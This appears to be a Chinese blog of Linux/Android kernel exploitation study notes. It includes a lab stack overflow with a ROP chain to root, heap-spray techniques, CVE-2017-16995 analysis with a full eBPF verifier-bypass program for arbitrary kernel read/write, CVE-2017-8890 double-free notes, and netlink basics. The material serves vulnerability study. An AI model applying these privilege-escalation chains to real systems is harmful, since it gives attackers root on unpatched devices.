admin 发布的文章

安卓内核漏洞利用-栈溢出

参考项目 https://github.com/Fuzion24/AndroidKernelExploitationPlayground/
题目:stack_buffer_overflow

环境搭建

具体的环境搭建网上已经有很多介绍文章了,就不做介绍。

首先用模拟器启动android,然后新开一个终端执行 adb shell ,这样就得到了一个与被调试机交互的shell

kaka@kaka-virtual-machine:~$ adb shell
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
root@generic:/ # 

在adb shell执行下面一条命令以允许查看符号地址

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict

关于调试:网上教程都推荐使用 arm-linux-androideabi-gdb,但是我在配合插件 peda-arm 使用的时候不能打印上下文信息,因此字节编译了一个arm gdb,然后把.gdbinit改为peda-arm的就可以了

kaka@kaka-virtual-machine:~/android_exploit_learn/goldfish$ gdb vmlinux

为了调试 stack_buffer_overflow 模块,首先要先添加模块的符号表,一般格式为add-symbol-file xxx.o .text_addr ,这里对应模块驱动我们是有的,但是缺少代码段基地址,我们可以通过查看模块函数地址减去相应的偏移,就可以得到对应的基地址。

root@generic:/ # cat /proc/kallsyms | grep proc_entry_write                    
c025c2cc T proc_entry_write

或者直接在gdb里面打印该模块某个函数的地址。这样整个运行以及调试环境就可以了,下面就进入正题

stack_buffer_overflow

基础知识

arm与x86在设计上有很大区别,因此首先要学习一下arm指令集以及相关寄存器

arm      x86
FP       ebp        基地址寄存器
sp       esp        栈顶指针寄存器

stack_buffer_overflow

通过查看源码或者查看ida反汇编结果可知,proc_entry_write 函数对传入的字符串长度没有进行限制,导致栈溢出,如果是x86的话,可以直接查看字符串起始地址到ret地址的距离,确定填充长度,但是arm有点区别。

通过判断调用 copy_from_user 时的参数确定缓冲区开始位置

peda-arm > info args
n = 0x7
from = <optimized out>
to = 0xd774fee0

函数要返回时

=> 0xc025c33c <proc_entry_write+112>:    pop    {r4, pc}
   0xc025c340 <proc_entry_write+116>:    subgt    lr, r1, r5, lsr #1
   0xc025c344 <sock_no_open>:    mvn    r0, #5
   0xc025c348 <sock_no_open+4>:    bx    lr
   0xc025c34c <sock_poll>:    push    {r3, lr}
[-----------------------------------------------STACK-----------------------------------------------]
0000| 0xd774ff20 --> 0xdeaaf140 --> 0xf0000287 
0004| 0xd774ff24 --> 0xc00fa4a4 --> 0xe1a05000 
0008| 0xd774ff28 --> 0xd774ff88 --> 0x0 
0012| 0xd774ff2c --> 0xdeaaf140 --> 0xf0000287 
0016| 0xd774ff30 --> 0xc00fa3f8 --> 0xe92d40f8 
0020| 0xd774ff34 --> 0xd1c2c5c0 --> 0xde80d274 (0xd1c2c5c0)
0024| 0xd774ff38 --> 0xd774ff88 --> 0x0 
0028| 0xd774ff3c --> 0xc00f5b54 --> 0xe1a05000 

这里与x86就不同了,x86在返回时,一般通过执行ret,将栈顶的值popeip 这样返回,但是arm通过直接将地址poppc 寄存器,{}内有多个寄存器时,从栈顶依次从左到右pop到寄存器,这也就意味着 0xd774ff24 保存返回地址,这样就可以计算出要填充的空间大小。

既然可以控制pc寄存器了,那么这个值应该要填充什么?因为内核洞的目的一般都是用来提权,提权就需要使用两个函数,这里跟x86一样

prepare_kernel_cred:分配一个新的cred
commit_creds:应用这个新的凭据
==>> commit_creds(prepare_kernel_cred(0))

因为在低版本android kernel中没有pxn保护,也就意味着我们可以在内核态执行用户空间代码,这样就可以将当前进程提升到root权限。

用户模式与其他模式切换

提升权限以后呢,这样就应该要返回到用户空间执行system("/bin/sh")获取一个高权限的shell了,android如何从内核态返回到用户态?

这个时候就需要了解一下 CPSR 寄存器的作用,可以看一下这两篇文章cpsr寄存器arm处理器模式切换 。可以知道,只要将CPSR寄存器低4bit置0就可以。这样就需要在内核做rop了

ret2usr

因为可以控制pc,有没有开启PAN,PXN,因此可以直接让pc指向用户空间的shellcode,网上有多篇文章做了分析。主要分析一下rop。

rop

首先使用rop执行commit_creds(prepapre_kernel_cred(0))提权,因此要控制r0寄存器为0

0xc0010a10: pop {r0, pc}; 

看一下prepare_kernel_cred的汇编

(gdb) disassemble prepare_kernel_cred
Dump of assembler code for function prepare_kernel_cred:
   0xc0039d34 <+0>:    push    {r3, r4, r5, lr}
   0xc0039d38 <+4>:    mov    r1, #208    ; 0xd0
......
   0xc0039e58 <+292>:    mov    r0, r5
   0xc0039e5c <+296>:    pop    {r3, r4, r5, pc}
......
End of assembler dump.

一开始先将lr压栈,在函数退出的时候将其pop到pc。如果过没有合适的gadgets就不能控制lr,因此我们可以直接跳过第一行汇编,直接执行第二行,然后在栈上填充值替代这个操作。这样lr就应该是commit_kernel_cred地址,因此执行rop时的栈

0xc0010a10
0
0xc0039d38
0
0
0
commit_kernel_cred

commit_creds汇编:

(gdb) disassemble commit_creds
Dump of assembler code for function commit_creds:
   0xc0039834 <+0>:    push    {r0, r1, r2, r3, r4, r5, r6, lr}
   0xc0039838 <+4>:    mov    r2, sp
   0xc003983c <+8>:    bic    r3, r2, #8128    ; 0x1fc0
......
   0xc0039a58 <+548>:    pop    {r4, r5, r6, pc}
   0xc0039a5c <+552>:    subgt    r3, pc, r12, ror r9    ; <UNPREDICTABLE>
End of assembler dump.

commit_creds也是在函数返回的时候将执行lr所指向的代码片段,因为再执行完以后就要切换cpu运行模式为用户模式了,因为lr需要用一条gadgets地址取代,这里采用上面一样的处理方法,把第一行跳过。此时的栈(接上面的结尾)

0xc0039838 (commit_kernel_cred)
0
0
0
0
0
0
0
&gadgets

下面就要控制cpu切换模式。

找了一圈关于msr的gadgets,感觉下面这一条很简短,只需要一个pop r2,而且在切换模式以后能直接控制pc寄存器。

0xc000d120: msr cpsr_c, r2; pop {r4, pc}; 

针对pop r2没找到太好的gadget,只好用下面这条,这条在控制r2的同时,还能控制lr,在结合bx指令跳转到目标地址

0xc005a2fc: pop {r2, r3, lr}; add sp, sp, #0xc; bx lr; 

这样,首先通过第二条控制r2为用户态的cspr,lr为第一条gadget的地址,上面的 addr1就可以用0xc005a2fc替换了。

因为还有一个add sp, sp, #0xc;,为了使下面的gadgets正常执行,这部分填充也要加上

这样就会来到gadgets1,将会通过pop 控制pc,这样pc可以直接只想用户态的system("/bin/sh"),只需要在栈上填充一个r4就可以。payload就应该为下面的样子。

0xc005a2fc (&gadgets)
0x60000010
0
0xc000d120
0
0
0
0
&getshell

测试

rop执行prepare_kernel_cred后,分配了一个uid=0的cred

peda-arm > p (*(struct cred*)$r0)
$3 = {
  usage = {
    counter = 0x1
  }, 
  uid = 0x0, 
  gid = 0x0, 
  suid = 0x0, 
  sgid = 0x0, 
  euid = 0x0, 
  egid = 0x0, 
  fsuid = 0x0, 
  fsgid = 0x0, 
  securebits = 0x0, 
  cap_inheritable = {
    cap = {0x0, 0x0}
  }, 
......
}

commit_creds执行完要切换cpu模式

=> 0xc0039a58 <commit_creds+548>:    pop    {r4, r5, r6, pc}
   0xc0039a5c <commit_creds+552>:    subgt    r3, pc, r12, ror r9    ; <UNPREDICTABLE>
   0xc0039a60 <abort_creds>:    ldr    r2, [r0]
   0xc0039a64 <abort_creds+4>:    ldr    r2, [r0]
   0xc0039a68 <abort_creds+8>:    cmp    r2, #0
[-----------------------------------------------STACK-----------------------------------------------]
0000| 0xd39a7f50 --> 0x0 
0004| 0xd39a7f54 --> 0x0 
0008| 0xd39a7f58 --> 0x0 
0012| 0xd39a7f5c --> 0xc005a2fc --> 0xe8bd400c 
0016| 0xd39a7f60 --> 0x60000010 
0020| 0xd39a7f64 --> 0x0 
0024| 0xd39a7f68 --> 0x0 
0028| 0xd39a7f6c --> 0x0 

切换cpu模式

=> 0xc005a2fc <audit_log_format+32>:    pop    {r2, r3, lr}
   0xc005a300 <audit_log_format+36>:    add    sp, sp, #12
   0xc005a304 <audit_log_format+40>:    bx    lr
   0xc005a308 <audit_log_start>:    ldr    r3, [pc, #944]    ; 0xc005a6c0 <audit_log_start+952>
   0xc005a30c <audit_log_start+4>:    push    {r4, r5, r6, r7, r8, r9, r10, r11, lr}
[------------------------------------STACK-------------------------------------]
0000| 0xd4339f60 --> 0x60000010 
0004| 0xd4339f64 --> 0x0 
0008| 0xd4339f68 --> 0xc000d120 --> 0xe121f002 
0012| 0xd4339f6c --> 0x0 
0016| 0xd4339f70 --> 0x0 
0020| 0xd4339f74 --> 0x0 
0024| 0xd4339f78 --> 0x0 
0028| 0xd4339f7c --> 0x827d --> 0x447848 ('HxD')

堆喷需要考虑的几个问题(未完)

slab与slub的区别

  • slab:只有大小,类型相同的对象才能共用一块空间
  • slub:只要大小相同就能共用

需要考虑的几个问题

是否需要占位

  • 需要占位:一般情况下,kmalloc后面会跟着kfree,因此,有些需要占位的堆喷函数,可能需要通过一些方法进行阻塞,例如userfaultfd+setxattr
  • 不需要占位:这种情况下直接使用堆喷函数申请大量对象,但是存在一个问题,因为被kfree的对象会通过单向链表freelist组织起来,导致前8个字节被next指针占用不可控。

slab还是slub

在选择堆喷对象时,需要根据哪种分配器来选择

  • slab只允许同大小,同类型的对象申请同一块内存空间
  • slub只要对象大小相同,就能使用freelist中的内存空间

sleep

堆喷的时候可能需要先释放对象,在进行喷射,这时可能会使用sleep函数,这时相当于主动放弃cpu,其他的进程会占用当前cpu,因此刚free的对象可能会被其他进程申请出去

kmalloc的flags

不同的flags会在不同的地方申请对象

因此,如果申请victim obj是的flags与duipen函数采用的flags不同,也不能喷射成功。

static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
    ............................
        if (!(flags & GFP_DMA)) {
            return kmem_cache_alloc_trace(kmalloc_caches[index],
                    flags, size);
        }
    return __kmalloc(size, flags);
}

linux kernel 通用堆喷技术

虽说是通用堆喷,但是局限性很大,很多保护技术无法绕过

userfaultfd 系统调用

为用户提供了一个用户空间处理缺页异常的接口,用户可以自定义缺页处理程序。

setxattr

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    int error;
    void *kvalue = NULL;
    char kname[XATTR_NAME_MAX + 1];

    if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
        return -EINVAL;

    error = strncpy_from_user(kname, name, sizeof(kname));
    if (error == 0 || error == sizeof(kname))
        error = -ERANGE;
    if (error < 0)
        return error;

    if (size) {
        if (size > XATTR_SIZE_MAX)
            return -E2BIG;
        kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);【1】
        if (!kvalue) {
            kvalue = vmalloc(size);
            if (!kvalue)
                return -ENOMEM;
        }
        if (copy_from_user(kvalue, value, size)) {        【2】
            error = -EFAULT;
            goto out;
        }
        if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
            (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
            posix_acl_fix_xattr_from_user(kvalue, size);
    }

    error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
    kvfree(kvalue);

    return error;
}
  • 【1】:内核调用kmalloc 申请了size大小的空间,size实在用户态传入的,因此,可以申请任意大小的空间。
  • 【2】:调用copy_from_user ,把用户空间的值复制到内核

步骤

两个线程:

  1. 主线程触发缺页,执行handler
  2. handler 使主线程睡眠

fork:

  1. 执行两个线程
  2. 执行喷射完的函数

cve-2017-16995 分析

补丁


可以知道是check_alu_op函数中imm的问题

regs属于结构体reg_state类型,元素 imm立即数为有符号signed int类型。

struct reg_state {
    enum bpf_reg_type type;
    union {
        /* valid when type == CONST_IMM | PTR_TO_STACK */
        int imm;

        /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
        struct bpf_map *map_ptr;
    };
};

insn属于结构体bpf_insn类型,imm 为 signed int类型。

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

补丁中imm为unsigned long类型。

poc分析

模拟执行

poc中使用4行绕过epbf的模拟执行检查

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)

逐个函数分析

ALU_MOV_K(0,9,0x0,0xffffffff)

ALU class的操作会调用check_alu_op对alu类指令进行校验。

bpf_k表示源数据为imm立即数,bpf_x表示源数据为src寄存器。

opcode为 mov。

模拟执行的时候会执行

            regs[insn->dst_reg].type = CONST_IMM;
            regs[insn->dst_reg].imm = insn->imm;
等价于:
            regs[9]=-1(0xffffffff);

JMP_JNE_K(0,9,0x2,0xffffffff)

调用路径 do_check->check_cond_jmp_op,会进行下面的判断

if (BPF_SRC(insn->code) == BPF_K &&
        (opcode == BPF_JEQ || opcode == BPF_JNE) &&
        regs[insn->dst_reg].type == CONST_IMM &&
        regs[insn->dst_reg].imm == insn->imm)

在对立即数进行判断的时候跟赋值的时候一样,因此判断通过,直接return 0,然后 insn_idx++ , 执行2,3行指令,执行exit。

实际执行

通过 __bpf_prog_run 实际执行,内置一张跳转表,通过判断opcode,跳转到实际执行函数。这里的寄存器类型为 u64 regs[MAX_BPF_REG] , 这个的寄存器(regs)也是通过栈变量模拟的。

ALU_MOV_K(0,9,0x0,0xffffffff)

这里的 DST :#define DST regs[insn->dst_reg] , 因此DST为u64类型。

此时的DST为 0xffffffff;

JMP_JNE_K(0,9,0x2,0xffffffff)


这里的IMM : #define IMM insn->imm , 仍然是 int类型,int类型在与unsigned long类型做比较之前,先会将int转换为对应的 unsigned long 类型,但这里会进行符号扩展,也就是把int的最高位赋值给unsigned long的17-32位。因此在实际比较时执行的是cmp 0xffffffff , 0xffffffffffffffff,不会相等,就会执行insn += insn->off , 不会像模拟执行一样直接执行exit,因此,后面的指令就饶过了ebpf_check的检查,可以执行任意指令。

bpf 系统调用功能

  • map_create : 申请一个map,并返回fd。
  • map_lookup_elem/map_update_elem :根据传入的key,查找/修改对应的vlaue。这里是任意读写的基础。
  • bpf_prog_load : 将用户空间ebpg_prog加载进内核空间,并调用do_check检查合法性,如何prog没问题,则调用fixup_bpf_calls函数,根据insn->imm指定的编号找打对应的函数指针,然后再把函数指针和__bpf_call_base之间的offset,赋值到insn->imm中。

insn->imm = fn->func - __bpf_call_base;

ebpf与map

  • 用户空间通过执行bpf系统调用可以根据不同的cmd,执行不同的命令,可以通过BPF_MAP_CREATE 创建一个map,并返回一个fd。
  • ebpf如何与map关联:进入bpf_check函数之后,执行do_check之前,会执行函数replace_map_fd_with_map_ptr,

    if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
                    if (insn->src_reg != BPF_PSEUDO_MAP_FD) {
                    verbose("unrecognized bpf_ld_imm64 insn\n");
                    return -EINVAL;
                }
    
                f = fdget(insn->imm);
                map = __bpf_map_get(f);
                /* store map pointer inside BPF_LD_IMM64 instruction */
                insn[0].imm = (u32) (unsigned long) map;
                insn[1].imm = ((u64) (unsigned long) map) >> 32;
    }

insn->imm:提供想要获取的map对应的fd。此时insn[0]与insn[1]的imm值可以组合成map地址。

在实际执行的时候执行

    LD_IMM_DW:
        DST = (u64) (u32) insn[0].imm | ((u64) (u32) insn[1].imm) << 32;
        insn++;
        CONT;

相当于把map地址给DST寄存器,模拟执行也相当于预执行的一个功能。这样ebpf_prog就可以访问map了。

ebpf_prog 分析

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3) r9 = map_addr
[5]: maybe padding
[6]: ALU64_MOV_X(9,1,0x0,0x0) r1 = r9;
[7]: ALU64_MOV_X(10,2,0x0,0x0) r2 = r10
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc) r2 = r2-4
[9]: ST_MEM_W(0,10,0xfffc,0x0) *(r10 - 4) = 0
[10]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,0)
[11]: JMP_JNE_K(0,0,0x1,0x0) if(r0 == 0) goto 12 //判断返回值
[12]: JMP_EXIT(0,0,0x0,0x0)  exit(0);
[13]: LDX_MEM_DW(0,6,0x0,0x0) r6 = *r0
[14]: ALU64_MOV_X(9,1,0x0,0x0) r1 = r9
[15]: ALU64_MOV_X(10,2,0x0,0x0)r2 = r10
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc) r2 = r2-4
[17]: ST_MEM_W(0,10,0xfffc,0x1) *(r10 - 4) = 1
[18]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,1)
[19]: JMP_JNE_K(0,0,0x1,0x0) if(r0 == 0) goto 12
[20]: JMP_EXIT(0,0,0x0,0x0) exit(0)
[21]: LDX_MEM_DW(0,7,0x0,0x0) r7 = *r0
[22]: ALU64_MOV_X(9,1,0x0,0x0) 
[23]: ALU64_MOV_X(10,2,0x0,0x0)
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[25]: ST_MEM_W(0,10,0xfffc,0x2)
[26]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,2)
[27]: JMP_JNE_K(0,0,0x1,0x0)
[28]: JMP_EXIT(0,0,0x0,0x0)
[29]: LDX_MEM_DW(0,8,0x0,0x0) r8 = *r0
[30]: ALU64_MOV_X(0,2,0x0,0x0) r2 == r0;
[31]: ALU64_MOV_K(0,0,0x0,0x0) r0 == 0;
[32]: JMP_JNE_K(0,6,0x3,0x0)   if (r6 != 0) goto 36
[33]: LDX_MEM_DW(7,3,0x0,0x0)  r3 = *r7;
[34]: STX_MEM_DW(3,2,0x0,0x0)  *r2 = r3;
[35]: JMP_EXIT(0,0,0x0,0x0)    exit(0);
[36]: JMP_JNE_K(0,6,0x2,0x1)   if (r6 != 1) goto 39
[37]: STX_MEM_DW(10,2,0x0,0x0) *r2 = r10
[38]: JMP_EXIT(0,0,0x0,0x0)    exit(0);
[39]: STX_MEM_DW(8,7,0x0,0x0)  *r7 = r8
[40]: JMP_EXIT(0,0,0x0,0x0)    exit(0)

map{key0:vlaue0,kay1:value1,kay2:value2}

  • 0 - 3 : 绕过检查
  • 4 - 5 :获取map地址
  • 6 - 13 : r6 = map_lookup_elem(map,0) => value0
  • 14 - 21 : r7 = map_lookup_elem(map,1) => value1
  • 22 - 29 : r8 = map_lookup_elem(map,2) => value2
  • r6 = 0:vlaue2 = value1,vlaue1传入内核地址,就可以读取对应的数据,实现任意读
  • r6 = 1:value2 = r10 = rbp , 因为ebpf_prog在执行的时候,寄存器也是在栈上模拟的,这样可以泄露栈地址
  • r6 = 2:*value1 = value2 ,可以往value地址里写入数据value2 ,实现任意地址写。

步骤

用户空间与map,ebpf_prog交互

userspace <-----> map <----->ebpf_prog

因为ebpf_prog有任意读写的功能,可以在用户空间更改map的value,ebpf_prog读取这些value,并执行相应动作。

  • leak 栈指针,计算thread_info,task_struct
  • 利用prctl 设置task_struct->comm,利用任意读,找到comm的地址,通过comm与cred之间的偏移,读到cred的地址
  • 利用任意写,写入cred。

cve-2017-8890 利用分析笔记

poc 分析

首先在补丁函数 inet_csk_clone_lock,sys_accept,ip_mc_leave_src 处下断点,执行poc,首先断在了inet_csk_clone_lock函数处,当前函数调用链sys_connect->......->tcp_v4_rcv->tcp_check_req->tcp_v4_syn_recv_sock->tcp_create_openreq_child->inet_csk_clone_lock,可以确定这个函数在建立连接,三次握手时使用,因为补丁是把inet_sk(newsk)->mc_list = NULL,因此先确定当前sk状态

然后进入inet_csk_clone_lock函数,断在struct sock *newsk = sk_clone_lock(sk, priority);,sk_clone_lock函数处,查看复制后的newsk的状态

复制后newsk与sk存在相同的mc_list 指针。

为什么要加入多播组

只有加入多播组,内核才会为多播创建相应的ip_mc_socklist对象,inet_sock中mc_list才会是一个有效的对象的指针。

poc触发原理

这个漏洞根据补丁可以知道是因为inet_sock->mc_list不为NULL导致,而且这个补丁存在于一个复制sock功能的函数inet_csk_clone_lock中,这样导致两个对象里面有一个同样的指针指向同一个对象,这样在free的时候会产生double free。

1,要使mc_list指针有效,必须将socket加入组播

2,要执行一次通过inet_csk_clone_lock复制一次inet_sock,使复制前后的两个sock存在相同的mc_list指针。

3,accept的时候会将复制一份socket,并返回socket对应的fd,newsocket->sk = newsock。

这样便完成了两个fd对应同一个mc_list,对应如下关系:

  • fd1->file1->socket->sk->mc_list
  • fd2->file2->newsocket->newsock->mc_list

如果按照这个理论,这里可以做到通过多次执行connect,accept ,可以做到多次free(mc_list)。

heap spary

可以根据前面分析确定被double free的对象是ip_mc_socklist。

obj size : 0x30,因此从kmalloc-64的slab中分配。

寻找合适的堆喷对象,对象的大小必须在(32,64]范围内,而且我们要控制func,next_rcu指针,因此,前8个字节字节必须可控,但是像sendmsg等这些函数前48个字节内容不可控,因此不符合要求

根据函数调用链找到这样一条sock_kmalloc路径。

执行语句如下

        int count = IP_SFBLOCK;

        if (psl)
            count += psl->sl_max;
        newpsl = sock_kmalloc(sk, IP_SFLSIZE(count), GFP_KERNEL);
-------------------------------------------------------------------------------
        #define IP_SFLSIZE(count)    (sizeof(struct ip_sf_socklist) + \
    (count) * sizeof(__be32))

这样计算下来,size大小刚好为64byte。

控制pc

setsockopt 堆喷路径选择

udp_setsockopt属于udp_prot,也就是需要udp(dgram)类型的socket。

sys_setsockopt (level != SOL_SOCKET)->[sock->ops->setsockopt]->sock_common_setsockopt->
udp_setsockopt->ip_setsockopt (level == SOL_IP)->do_ip_setsockopt->ip_mc_source ()

喷射成功后的mc_list对象


next_rcu指向了用户空间的一块内存地址,这样就可以在用户空间布置 fake ip_mc_socklist(shellcode) 提权。

但是这里堆喷成功率很低,而且前8个字节虽然可以利用,但是用户不可控,正在学习新的喷射方法去增加喷射成功率,使对象内需要的指针可控。

userfaultfd+setxattr

netlink 协议分析

分析了过几个Linux内核的漏洞,都与netlink 机制有关,这篇文章用于介绍linux kernel中的netlink 机制,主要是介绍 用户->内核的通信。

什么是netlink

它是一种用于内核空间与用户空间进行通信的机制,同时也可以用于进程间通信,属于异步全双工通信。支持单播和多播模式。

netlink 消息格式

netlink消息由两部分组成:消息头(16字节)+消息体

netlink 消息头

消息头结构 nlmsghdr

struct nlmsghdr
{
    __u32        nlmsg_len;    /* 消息总长度:消息头+消息体 */
    __u16        nlmsg_type;    /* 消息类型 */
    __u16        nlmsg_flags;    /* 标志 */
    __u32        nlmsg_seq;    /* 消息序号,类似于tcp的确认机制 */
    __u32        nlmsg_pid;    /*  */
};
  • 消息类型:
NLMSG_NOOP-   空消息,什么也不做;
NLMSG_ERROR-  指明该消息中包含一个错误;
NLMSG_DONE-   如果内核通过Netlink队列返回了多个消息,那么队列的最后一条消息的类型为NLMSG_DONE,
              其余所有消息的nlmsg_flags属性都被设置NLM_F_MULTI位有效。
NLMSG_OVERRUN-暂时没用到。
  • 消息标志:
NLM\_F\_REQUEST  : 如果消息中有该标记位,说明这是一个请求消息。所有从用户空间到内核空间的消息都要设置该位,否则内核将向用户返回一个EINVAL无效参数的错误 
NLM\_F\_MULTI : 消息从用户->内核是同步的立刻完成,而从内核->用户则需要排队。如果内核之前收到过来自用户的消息中有NLM_F_DUMP位为1的消息,那么内核就会向用户空间发送一个由多个Netlink消息组成的链表。除了最后个消息外,其余每条消息中都设置了该位有效。 
NLM\_F\_ACK : 该消息是内核对来自用户空间的NLM_F_REQUEST消息的响应 
NLM\_F\_ECHO : 如果从用户空间发给内核的消息中该标记为1,则说明用户的应用进程要求内核将用户发给它的每条消息通过单播的形式再发送给用户进程。和我们通常说的“回显”功能类似。 
  • 消息序号:配合消息标志 NLM_F_ACK类型的消息使用,类似于tcp的确认机制
  • 发送方进程id:建立的“通道编号”。当从用户->内核时,这个值一般用用户空间的进程id表示;当从内核->用户时,一般为0.

消息体

地址结构体sockaddr_nl,该结构体用于在执行bind()时,将netlink socket与源地址进行绑定,

struct sockaddr_nl
{
    sa_family_t    nl_family;    /*该字段总是为AF_NETLINK    */
    unsigned short    nl_pad;    /* 填充为0*/
    __u32        nl_pid;        /* process pid    */
    __u32        nl_groups;    /* multicast groups mask */
};
  • nl_pid : 发送或接收方进程id,如果是希望发送给内核或者这是一个多播消息,则写为0。
  • nl_groups : 用户空间多播组掩码。如果设为0,则不加入任何多播组,为单播消息。

如何使用

netlink 就是一种特殊的socket。

netlink socket 创建

fd = socket(AF_NETLINK,SOCK_RAW,0)

将netlink socket与地址进行绑定

再绑定之前,需要先创建一个地址结构sockaddr_nl

struct sockaddr_nl nladdr;
nladdr.nl_family = AF_NETLINK;
nladdr.nl_groups = 0;
nladdr.nl_pad = 0;
nladdr.nl_pid = 0;
bind(fd,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

将该消息发送出去

struct msghdr

msghdr结构体为sendmsg()系统调用发送的消息整体,因此他需要包含几个部分:

  • 目的地址
  • netlink 消息头
  • netlink 消息体

如图所示:

msg_name:接收者的地址
msg_namelen:长度

首先发送该消息之前需要创建一个地址结构体sockaddr_nl表示接收者的地址。

    struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);

构建消息头 nlmsghdr

    char buffer[] = "An example message";
    struct nlmsghdr nlhdr;
    nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

消息头里面的nlmsg_pid是发送方的pid

从cve-2018-11176 学习 kernel pwn

文章首发于先知社区

环境

  • linux kernel 4.1.1

相关结构

task_struct

struct  task_struct  { 
    volatile  long  state ;             //进程状态(运行,停止,...)
    void  * stack ;                     //任务的堆栈指针
    int  prio ;                        //进程优先级
    struct  mm_struct  * mm ;            //内存地址空间
    struct  files_struct  * file;      //打开文件信息
    const  struct  cred  * cred ;         //凭证,保存uid等权限信息
  // ... 
};

每个进程,线程都有自己的task_struct,可以通过current宏进行访问

fd,file object,fdt,file_struct

fd:对于给定进程而言,是一个整数
file object(struct file):表示一个已经打开的文件

struct  file  { 
    loff_t                             f_pos ;             //“cursor”,同时读取文件
    atomic_long_t                      f_count ;           //对象的引用计数器
    const  struct  file_operations       * f_op ;             //虚函数表(VFT)指针
  void                               * private_data ;       //文件“specialization”使用
  // ... 
};

struct file *filp; / *文件指针 * /

fdt:将fd转换为对应的filp,这个映射不是一一映射,可能对各文件描述符指向同一个文件对象,这种情况下,文件对象的引用计数器加一。

struct  fdtable  { 
    unsigned  int  max_fds ; 
    struct  file  **  fd ;       / *当前fd数组* / 
  // ... 
};

file_struct :将fdt链接到进程内部,file_struct可以在多个线程之间共享

struct  files_struct  { 
    atomic_t  count ;            //引用计数器
    结构 fdtable  * fdt ;       //指向文件描述符表的指针
  // ... 
};

socket,sock,skb

创建socket时,比如调用了socket syscall,就会创建一个struct file类型的的socket文件对象,然后创建一个结构体socker_file_ops,里面包含了对这个file的操作,并且将它的操作(file operation)嵌入其中

static const struct file_operations socket_file_ops = {
    .read = sock_aio_read,      // <---- calls sock->ops->recvmsg()
    .write =    sock_aio_write, // <---- calls sock->ops->sendmsg()
    .llseek =   no_llseek,      // <---- returns an error
  // ...
}

socket实际上实现了许多socket api,这些api都被嵌入到一个虚拟函数表(virtual function table)的结构体中,结构体被称为proto_ops,每一种类型的socket都执行它们自己的proto_ops

struct proto_ops {
    int     (*bind)    (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
    int     (*connect) (struct socket *sock, struct sockaddr *vaddr,  int sockaddr_len, int flags);
    int     (*accept)  (struct socket *sock, struct socket *newsock, int flags);
  // ...
}

当一个BSD-style syscall被调用的的时候,一般流程如下:

  • 从(fdt)文件描述符表中,检索对应的struct file(文件对象)
  • 从 文件对象中找到 struct socket
  • 调用对应的proto_ops进行回调

struct socket实际上在网络栈的最顶层,通常再进行一些sending/receiving data操作时需要控制底层,因此,socket对象里面有一个指针指向了sock对象(struct sock)

struct socket {
    struct file     *file;
    struct sock     *sk;
    const struct proto_ops  *ops;
  // ...
};

当网卡收到一个来自外界的数据包时,网卡驱动会把这个packet(排队)放到receiving buf中,这个packet会一直在这个缓冲区内,直到应用程序决定接收(recvmsg())它。相反,当应用程序想要发送(sendmsg())一个数据包,这个packet会被放到sending buf内,一旦收到“通知”,网卡驱动就会将它发送出去。
这些packet也被称为struct sk_buff或者skb,sending/receiving buf基本上是一个skb的双向链表

struct sock {
    int         sk_rcvbuf;    // theorical "max" size of the receive buffer
    int         sk_sndbuf;    // theorical "max" size of the send buffer
    atomic_t        sk_rmem_alloc;  // "current" size of the receive buffer
    atomic_t        sk_wmem_alloc;  // "current" size of the send buffer
    struct sk_buff_head sk_receive_queue;   // head of doubly-linked list
    struct sk_buff_head sk_write_queue;     // head of doubly-linked list
    struct socket       *sk_socket;
  // ...
}

从上面的结构体中的可以看出来,sock对象中也引用了socket对象(sk_socket),但是在网上看,socket对象中也引用了sock对象(sk),同理,struct socket中引用了file对象(file),struct file中引用了socket对象(private_data),这种双向机制使得数据可以贯通整个网络栈。

netlink socket

这是一种特殊的socket,它允许用户空间与kernel通信,它可以用来修改路由表,接受SElinux事件通知,甚至可以与其他用户空间进程进行通信。
因为struct sock与struct socket都属于支持各种类型socket的通用数据结构,
从socket对象的观点来看,proto_ops字段需要定义,对于netlink家族来说,BSD-style socket的操作都是netlink_ops

static const struct proto_ops netlink_ops = {
    .bind =     netlink_bind,
    .accept =   sock_no_accept,     // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
    .sendmsg =  netlink_sendmsg,
